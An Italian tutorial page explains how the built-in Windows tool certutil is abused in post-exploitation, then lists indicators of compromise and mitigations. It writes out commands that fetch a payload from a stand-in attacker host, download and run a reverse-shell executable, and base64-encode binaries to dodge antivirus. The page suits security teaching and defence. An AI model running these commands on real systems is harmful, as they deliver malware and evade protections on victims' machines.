Tutorials

Guida Approfondita su `certutil`

Certutil è un utility CLI inclusa di default nei sistemi Windows. Originariamente progettata per la gestione dei certificati digitali, è divenuta un tool comunemente abusato in ambito post-exploitatio

#exploitation#post-exploitation#windows

Guida Approfondita su certutil

Introduzione

Certutil è un utility CLI inclusa di default nei sistemi Windows. Originariamente progettata per la gestione dei certificati digitali, è divenuta un tool comunemente abusato in ambito post-exploitation e red teaming, grazie alla sua capacità di effettuare encoding, decoding, download di file e gestione del certificato tramite comandi nativi.

Use Case in Ambito Pentesting

In scenari offensivi, certutil può essere utilizzato per:

  • Scaricare file da Internet.
  • Decodificare file in base64.
  • Copiare/eseguire payload da remoto aggirando alcuni controlli di sicurezza.
  • Eseguire trasferimenti file senza strumenti esterni.

Sintassi Generale

bash
certutil [OPTIONS] -addstore/-decode/-encode/-urlcache/etc.

Comandi Utili

1. Download di un file da URL remota

cmd
certutil -urlcache -split -f http://attacker.com/payload.exe payload.exe
  • -urlcache : Utilizza la cache dei file scaricati.
  • -split : Gestisce file grandi segmentandoli.
  • -f : Forza il download anche se il file esiste.
💡 Utilizzato spesso per il download di malware/payload su target compromessi.

2. Encoding in base64

cmd
certutil -encode input.exe output.b64

3. Decoding da base64

cmd
certutil -decode input.b64 output.exe

4. Visualizzazione file in formato esadecimale

cmd
certutil -dump file.exe

5. Creazione di certificati (uso legittimo)

cmd
certutil -store my

Esempi Pratici di Abuso

Esecuzione di un reverse shell

1. Attacker:

bash
python3 -m http.server 80

2. Victim:

cmd
certutil -urlcache -split -f http://ATTACKER_IP/reverse.exe reverse.exe
reverse.exe

Evitare il rilevamento AV

  • Base64 encode lato attaccante:
bash
certutil -encode revshell.exe revshell.b64
  • Decodifica lato target:
cmd
certutil -decode revshell.b64 revshell.exe

Indicatori di Compromissione (IoC)

  • Utilizzo anomalo di certutil da utenti non amministratori.
  • Connessioni HTTP non usuali da host interni.
  • File .exe o .dll scritti da certutil.exe in percorsi temporanei o sospetti.

Mitigazioni

  • Monitorare l’uso di certutil.exe tramite Windows Event Logging.
  • Limitare l’accesso a certutil.exe tramite AppLocker o Software Restriction Policies.
  • Utilizzare EDR con capacità di rilevamento comportamentale (es. download da tool di sistema).

Conclusione

certutil è un esempio perfetto di come tool legittimi possano essere facilmente weaponizzati. La sua presenza nativa in tutti i sistemi Windows lo rende un'arma formidabile per attori malevoli. Ogni blue team dovrebbe implementare regole di monitoraggio per intercettarne l'uso sospetto.


Risorse Utili